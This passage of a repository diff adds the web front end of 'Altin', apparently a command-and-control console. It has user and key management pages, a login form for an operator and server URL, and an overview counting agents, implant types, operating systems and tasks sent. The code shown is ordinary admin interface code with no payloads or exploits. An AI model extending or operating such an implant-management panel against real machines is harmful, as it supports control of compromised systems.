const base64 = payloadPart.replace(/-/g, '+').replace(/_/g, '/');
const padded = base64 + '='.repeat((4 - (base64.length % 4 || 4)) % 4);
const payload = JSON.parse(atob(padded));
if (!payload.admin) {
window.location.href = '/index.html';
return false;
}
} catch {
window.location.href = '/index.html';
return false;
}
return true;
};
const apiFetch = async (path, options = {}) => {
const headers = new Headers(options.headers || {});
headers.set('Authorization', state.token);
if (options.body && !headers.has('Content-Type')) {
headers.set('Content-Type', 'application/json');
}
const response = await fetch(`${state.serverUrl}${path}`, {
...options,
headers,
});
if (response.status === 401) {
redirectToLogin();
throw new Error('Unauthorized');
}
return response;
};
const loadJSON = async (path) => {
const response = await apiFetch(path);
const payload = await response.json().catch(() => ({}));
if (!response.ok) {
throw new Error(payload.message || `Request failed for ${path}`);
}
return payload;
};
const setMessage = (message, tone = '') => {
if (!els.userModalMessage) return;
els.userModalMessage.textContent = message;
els.userModalMessage.dataset.tone = tone;
};
const renderServer = () => {
if (els.serverChip) {
els.serverChip.textContent = state.serverUrl.replace(/^https?:\/\//, '');
}
};
const renderTable = () => {
const query = state.search.trim().toLowerCase();
const users = state.users.filter((user) => {
if (!query) return true;
return [user.id, user.username].some((value) => String(value || '').toLowerCase().includes(query));
});
els.usersCount.textContent = `${users.length} total`;
if (!users.length) {
els.usersTableBody.innerHTML = '<tr><td colspan="4"><div class="empty-state">No users match the current search.</div></td></tr>';
return;
}
els.usersTableBody.innerHTML = users.map((user) => `
<tr>
<td>${escapeHTML(user.id)}</td>
<td>${escapeHTML(user.username)}</td>
<td>${user.admin ? '<span class="admin-chip">Admin</span>' : '<span class="user-chip">User</span>'}</td>
<td>
<div class="table-actions">
<button class="button-secondary" type="button" data-user-action="edit" data-user-id="${escapeHTML(user.id)}">Edit</button>
<button class="button" type="button" data-user-action="delete" data-user-id="${escapeHTML(user.id)}">Delete</button>
</div>
</td>
</tr>
`).join('');
};
const loadUsers = async () => {
const payload = await loadJSON('/api/users');
state.users = payload.users || [];
state.users.sort((a, b) => (a.username || '').localeCompare(b.username || '', undefined, { sensitivity: 'base' }));
renderTable();
};
const openModal = (user = null) => {
state.editingUser = user;
els.userModal.classList.add('is-open');
els.userModal.classList.remove('hidden');
els.userModal.setAttribute('aria-hidden', 'false');
els.userModalTitle.textContent = user ? 'Edit user' : 'Create user';
els.saveUserButton.textContent = user ? 'Update user' : 'Save user';
els.userName.value = user?.username || '';
els.userPassword.value = '';
els.userAdmin.checked = Boolean(user?.admin);
setMessage('');
els.userName.focus();
};
const closeModal = () => {
els.userModal.classList.remove('is-open');
els.userModal.classList.add('hidden');
els.userModal.setAttribute('aria-hidden', 'true');
state.editingUser = null;
setMessage('');
};
const saveUser = async () => {
const username = els.userName.value.trim();
const password = els.userPassword.value;
const admin = els.userAdmin.checked;
if (!username) {
setMessage('Username is required.', 'error');
return;
}
setMessage(state.editingUser ? 'Updating user…' : 'Creating user…');
try {
if (state.editingUser) {
if (username !== state.editingUser.username) {
const response = await apiFetch('/api/users', {
method: 'PATCH',
body: JSON.stringify({ id: state.editingUser.id, username }),
});
if (!response.ok) throw new Error((await response.json().catch(() => ({}))).message || 'Unable to update user.');
}
if (password) {
const response = await apiFetch('/api/users', {
method: 'PATCH',
body: JSON.stringify({ id: state.editingUser.id, password }),
});
if (!response.ok) throw new Error((await response.json().catch(() => ({}))).message || 'Unable to update user.');
}
if (admin !== Boolean(state.editingUser.admin)) {
const response = await apiFetch('/api/users', {
method: 'PATCH',
body: JSON.stringify({ id: state.editingUser.id, admin }),
});
if (!response.ok) throw new Error((await response.json().catch(() => ({}))).message || 'Unable to update user.');
}
} else {
if (!password) {
setMessage('Password is required.', 'error');
return;
}
const response = await apiFetch('/api/users', {
method: 'POST',
body: JSON.stringify({ username, password, admin }),
});
if (!response.ok) throw new Error((await response.json().catch(() => ({}))).message || 'Unable to create user.');
}
await loadUsers();
closeModal();
} catch (error) {
setMessage(error.message || 'Unable to save user.', 'error');
}
};
const deleteUser = async (id) => {
if (!confirm('Delete this user?')) return;
try {
const response = await apiFetch('/api/users', {
method: 'DELETE',
body: JSON.stringify({ id }),
});
if (!response.ok && response.status !== 204) {
const payload = await response.json().catch(() => ({}));
throw new Error(payload.message || 'Unable to delete user.');
}
await loadUsers();
} catch (error) {
setMessage(error.message || 'Unable to delete user.', 'error');
}
};
const initializeTheme = () => {
setTheme(getTheme());
els.themeToggle.addEventListener('click', () => {
setTheme(getTheme() === 'dark' ? 'light' : 'dark');
});
};
const initializeLogout = () => {
els.logoutButton.addEventListener('click', () => {
localStorage.removeItem(STORAGE_KEYS.token);
redirectToLogin();
});
};
const initializeHandlers = () => {
els.userSearch.addEventListener('input', (event) => {
state.search = event.target.value;
renderTable();
});
els.refreshUsersButton.addEventListener('click', loadUsers);
els.createUserButton.addEventListener('click', () => openModal());
els.closeUserModalButton.addEventListener('click', closeModal);
els.cancelUserModalButton.addEventListener('click', closeModal);
els.userModal.addEventListener('click', (event) => {
if (event.target === els.userModal) closeModal();
});
els.saveUserButton.addEventListener('click', saveUser);
els.usersTableBody.addEventListener('click', (event) => {
const button = event.target.closest('[data-user-action]');
if (!button) return;
const id = button.dataset.userId;
const user = state.users.find((entry) => entry.id === id);
if (!user) return;
switch (button.dataset.userAction) {
case 'edit':
openModal(user);
break;
case 'delete':
deleteUser(id);
break;
}
});
};
const cacheElements = () => {
els.themeToggle = document.getElementById('themeToggle');
els.logoutButton = document.getElementById('logoutButton');
els.serverChip = document.getElementById('serverChip');
els.refreshUsersButton = document.getElementById('refreshUsersButton');
els.createUserButton = document.getElementById('createUserButton');
els.userSearch = document.getElementById('userSearch');
els.usersCount = document.getElementById('usersCount');
els.usersTableBody = document.getElementById('usersTableBody');
els.userModal = document.getElementById('userModal');
els.closeUserModalButton = document.getElementById('closeUserModalButton');
els.cancelUserModalButton = document.getElementById('cancelUserModalButton');
els.userModalTitle = document.getElementById('userModalTitle');
els.userModalMessage = document.getElementById('userModalMessage');
els.userName = document.getElementById('userName');
els.userPassword = document.getElementById('userPassword');
els.userAdmin = document.getElementById('userAdmin');
els.saveUserButton = document.getElementById('saveUserButton');
};
const main = async () => {
if (!requireAuth()) return;
cacheElements();
initializeTheme();
initializeLogout();
initializeHandlers();
renderServer();
try {
await loadUsers();
} catch (error) {
setMessage(error.message || 'Unable to load users.', 'error');
els.usersTableBody.innerHTML = '<tr><td colspan="4"><div class="empty-state">Unable to load users.</div></td></tr>';
}
};
document.addEventListener('DOMContentLoaded', main);
})();

142
webui/index.html Normal file
View File

@ -0,0 +1,142 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Altin | Overview</title>
<link rel="stylesheet" href="/assets/css/main.css">
<link rel="stylesheet" href="/assets/css/home.css">
<script defer src="/assets/js/app.js"></script>
</head>
<body class="app-page">
<div class="app-layout">
<aside class="sidebar">
<div class="brand-block">
<div class="brand-name">Altin</div>
<div class="brand-subtitle">Management console</div>
</div>
<div class="sidebar-section">
<nav class="nav-list" aria-label="Primary">
<a class="nav-item is-active" href="/index.html">
<span>Overview</span>
</a>
<a class="nav-item" href="/agents.html">
<span>Agents</span>
</a>
<a class="nav-item" href="/keys.html">
<span>Keys</span>
</a>
<a class="nav-item" href="/users.html">
<span>Users</span>
</a>
</nav>
</div>
<div class="sidebar-footer">
<div class="sidebar-info">
<strong>Session</strong><br>
<span id="serverChip">loading…</span>
</div>
<button class="button-secondary" id="themeToggle" type="button">Theme</button>
<button class="button" id="logoutButton" type="button">Logout</button>
</div>
</aside>
<main class="main-shell">
<header class="page-header">
<div>
<div class="page-title">Overview</div>
<div class="page-error" id="pageError" role="status" aria-live="polite"></div>
</div>
</header>
<section class="metric-grid" aria-label="Summary metrics">
<article class="metric-card">
<div class="metric-label">Agents</div>
<div class="metric-value" id="metricAgents">0</div>
<!-- <div class="metric-note" id="metricAgentsNote">0 registered agents</div> -->
</article>
<article class="metric-card">
<div class="metric-label">Active</div>
<div class="metric-value" id="metricActive">0</div>
<!-- <div class="metric-note" id="metricActiveNote">0 active agents</div> -->
</article>
<article class="metric-card">
<div class="metric-label">Inactive</div>
<div class="metric-value" id="metricInactive">0</div>
<!-- <div class="metric-note" id="metricInactiveNote">0 inactive agents</div> -->
</article>
<article class="metric-card">
<div class="metric-label">Total tasks</div>
<div class="metric-value" id="metricTasks">0</div>
<!-- <div class="metric-note" id="metricTasksNote">0 tasks in total</div> -->
</article>
<article class="metric-card">
<div class="metric-label">Sent tasks</div>
<div class="metric-value" id="metricSent">0</div>
<!-- <div class="metric-note" id="metricSentNote">0 tasks already sent</div> -->
</article>
<article class="metric-card">
<div class="metric-label">Completed tasks</div>
<div class="metric-value" id="metricCompleted">0</div>
<!-- <div class="metric-note" id="metricCompletedNote">0 tasks completed</div> -->
</article>
</section>
<section class="dashboard-grid">
<article class="panel">
<div class="panel-header">
<div>
<div class="panel-title">Implant types</div>
<div class="panel-subtitle" id="chartSubtitle">agents by implant type</div>
</div>
<span class="status-chip"><span id="chartTotal">0</span> agents</span>
</div>
<div class="chart-wrap">
<div class="chart-box">
<canvas id="chartCanvas"></canvas>
<div class="chart-center">
<strong id="chartTotalCenter">0</strong>
<span>Total</span>
</div>
</div>
<div class="legend-list" id="legendList"></div>
</div>
</article>
<article class="panel">
<div class="panel-header">
<div>
<div class="panel-title">Operating systems</div>
<div class="panel-subtitle" id="osChartSubtitle">agents by operating system</div>
</div>
<span class="status-chip"><span id="osChartTotal">0</span> agents</span>
</div>
<div class="chart-wrap">
<div class="chart-box">
<canvas id="osChartCanvas"></canvas>
<div class="chart-center">
<strong id="osChartTotalCenter">0</strong>
<span>Total</span>
</div>
</div>
<div class="legend-list" id="osLegendList"></div>
</div>
</article>
<article class="panel">
<div class="panel-header">
<div>
<div class="panel-title">Recent agents</div>
<div class="panel-subtitle">Most recent check-ins</div>
</div>
</div>
<div class="recent-list" id="recentList"></div>
</article>
</section>
</main>
</div>
</body>
</html>

116
webui/keys.html Normal file
View File

@ -0,0 +1,116 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Altin | Keys</title>
<link rel="stylesheet" href="/assets/css/main.css">
<link rel="stylesheet" href="/assets/css/home.css">
<script defer src="/assets/js/keys.js"></script>
</head>
<body class="app-page">
<div class="app-layout">
<aside class="sidebar">
<div class="brand-block">
<div class="brand-name">Altin</div>
<div class="brand-subtitle">Management console</div>
</div>
<div class="sidebar-section">
<nav class="nav-list" aria-label="Primary">
<a class="nav-item" href="/index.html"><span>Overview</span></a>
<a class="nav-item" href="/agents.html"><span>Agents</span></a>
<a class="nav-item is-active" href="/keys.html"><span>Keys</span></a>
<a class="nav-item" href="/users.html"><span>Users</span></a>
</nav>
</div>
<div class="sidebar-footer">
<div class="sidebar-info">
<strong>Session</strong><br>
<span id="serverChip">loading…</span>
</div>
<button class="button-secondary" id="themeToggle" type="button">Theme</button>
<button class="button" id="logoutButton" type="button">Logout</button>
</div>
</aside>
<main class="main-shell">
<header class="page-header page-header-spaced">
<div>
<div class="page-title">Keys</div>
</div>
<div class="topbar-actions">
<button class="button-secondary" id="refreshKeysButton" type="button">Refresh</button>
<button class="button" id="createKeyButton" type="button">Create key</button>
</div>
</header>
<section class="page-section">
<section class="agents-toolbar panel">
<div class="filter-grid keys-filter-grid">
<div>
<label class="field-label" for="keySearch">Search</label>
<input class="input" id="keySearch" type="search" placeholder="Name, key ID, or key text">
</div>
<div class="selection-bar keys-summary">
<div>
<span class="selection-label">Keys</span>
<div class="selection-count" id="keysCount">0 total</div>
</div>
</div>
</div>
</section>
<section class="panel agents-table-panel">
<div class="table-wrap">
<table class="data-table">
<thead>
<tr>
<th>ID</th>
<th>Name</th>
<th>Key</th>
<th>Actions</th>
</tr>
</thead>
<tbody id="keysTableBody"></tbody>
</table>
</div>
</section>
</section>
</main>
</div>
<div class="modal-backdrop hidden" id="keyModal" aria-hidden="true">
<div class="modal-card card" role="dialog" aria-modal="true" aria-labelledby="keyModalTitle">
<div class="modal-header">
<div>
<h2 id="keyModalTitle">Create key</h2>
<p>Create or replace a key.</p>
</div>
<button class="icon-button" id="closeKeyModalButton" type="button">✕</button>
</div>
<div class="modal-layout single-column">
<section class="modal-panel">
<div>
<label class="field-label" for="keyName">Name</label>
<input class="input" id="keyName" type="text" placeholder="Key name">
</div>
<div>
<label class="field-label" for="keyValue">Key</label>
<input class="input" id="keyValue" type="text" placeholder="Key value">
</div>
</section>
</div>
<div class="modal-footer">
<div class="modal-message" id="keyModalMessage"></div>
<div class="modal-actions-inline">
<button class="button-secondary" id="cancelKeyModalButton" type="button">Cancel</button>
<button class="button" id="saveKeyButton" type="button">Save key</button>
</div>
</div>
</div>
</div>
</body>
</html>

59
webui/login.html Normal file
View File

@ -0,0 +1,59 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Altin | Login</title>
<link rel="stylesheet" href="/assets/css/main.css">
<link rel="stylesheet" href="/assets/css/login.css">
<script defer src="/assets/js/auth.js"></script>
</head>
<body class="login-page">
<main class="login-shell">
<section class="login-panel card" aria-label="Login form">
<div class="login-panel-header">
<div class="login-card-logo">Altin</div>
<button class="icon-button theme-toggle" id="themeToggle" type="button" aria-label="Toggle theme">☀️</button>
</div>
<p class="login-copy login-copy-compact">
Enter the management server URL and credentials.
</p>
<div class="login-saved hidden" id="savedServerWrap">
<label class="field-label" for="savedServer">Saved server</label>
<select class="select" id="savedServer"></select>
</div>
<form class="login-form" id="loginForm" autocomplete="on">
<div>
<label class="field-label" for="serverUrl">Server URL</label>
<input class="input" id="serverUrl" name="serverUrl" type="url" placeholder="http://127.0.0.1:5000" required>
</div>
<div>
<label class="field-label" for="username">Username</label>
<input class="input" id="username" name="username" type="text" placeholder="operator" autocomplete="username" required>
</div>
<div>
<label class="field-label" for="password">Password</label>
<input class="input" id="password" name="password" type="password" placeholder="••••••••" autocomplete="current-password" required>
</div>
<div class="login-actions">
<label class="login-option" for="rememberServer">
<input id="rememberServer" type="checkbox">
Save server after login
</label>
<button class="button" type="submit">Login</button>
</div>
<div class="login-message" id="loginMessage" role="status" aria-live="polite"></div>
</form>
</section>
</main>
</body>
</html>

120
webui/users.html Normal file
View File

@ -0,0 +1,120 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Altin | Users</title>
<link rel="stylesheet" href="/assets/css/main.css">
<link rel="stylesheet" href="/assets/css/home.css">
<script defer src="/assets/js/users.js"></script>
</head>
<body class="app-page">
<div class="app-layout">
<aside class="sidebar">
<div class="brand-block">
<div class="brand-name">Altin</div>
<div class="brand-subtitle">Management console</div>
</div>
<div class="sidebar-section">
<nav class="nav-list" aria-label="Primary">
<a class="nav-item" href="/index.html"><span>Overview</span></a>
<a class="nav-item" href="/agents.html"><span>Agents</span></a>
<a class="nav-item" href="/keys.html"><span>Keys</span></a>
<a class="nav-item is-active" href="/users.html"><span>Users</span></a>
</nav>
</div>
<div class="sidebar-footer">
<div class="sidebar-info">
<strong>Session</strong><br>
<span id="serverChip">loading…</span>
</div>
<button class="button-secondary" id="themeToggle" type="button">Theme</button>
<button class="button" id="logoutButton" type="button">Logout</button>
</div>
</aside>
<main class="main-shell">
<header class="page-header page-header-spaced">
<div>
<div class="page-title">Users</div>
</div>
<div class="topbar-actions">
<button class="button-secondary" id="refreshUsersButton" type="button">Refresh</button>
<button class="button" id="createUserButton" type="button">Create user</button>
</div>
</header>
<section class="page-section">
<section class="agents-toolbar panel">
<div class="filter-grid keys-filter-grid">
<div>
<label class="field-label" for="userSearch">Search</label>
<input class="input" id="userSearch" type="search" placeholder="Username or user ID">
</div>
<div class="selection-bar keys-summary">
<div>
<span class="selection-label">Users</span>
<div class="selection-count" id="usersCount">0 total</div>
</div>
</div>
</div>
</section>
<section class="panel agents-table-panel">
<div class="table-wrap">
<table class="data-table">
<thead>
<tr>
<th>ID</th>
<th>Username</th>
<th>Admin</th>
<th>Actions</th>
</tr>
</thead>
<tbody id="usersTableBody"></tbody>
</table>
</div>
</section>
</section>
</main>
</div>
<div class="modal-backdrop hidden" id="userModal" aria-hidden="true">
<div class="modal-card card" role="dialog" aria-modal="true" aria-labelledby="userModalTitle">
<div class="modal-header">
<div>
<h2 id="userModalTitle">Create user</h2>
<p>Create or update a user account.</p>
</div>
<button class="icon-button" id="closeUserModalButton" type="button">✕</button>
</div>
<div class="modal-layout single-column">
<section class="modal-panel">
<div>
<label class="field-label" for="userName">Username</label>
<input class="input" id="userName" type="text" placeholder="operator">
</div>
<div>
<label class="field-label" for="userPassword">Password</label>
<input class="input" id="userPassword" type="password" placeholder="password">
</div>
<label class="login-option compact-option" for="userAdmin">
<input id="userAdmin" type="checkbox">
Admin
</label>
</section>
</div>
<div class="modal-footer">
<div class="modal-message" id="userModalMessage"></div>
<div class="modal-actions-inline">
<button class="button-secondary" id="cancelUserModalButton" type="button">Cancel</button>
<button class="button" id="saveUserButton" type="button">Save user</button>
</div>
</div>
</div>
</div>
</body>
</html>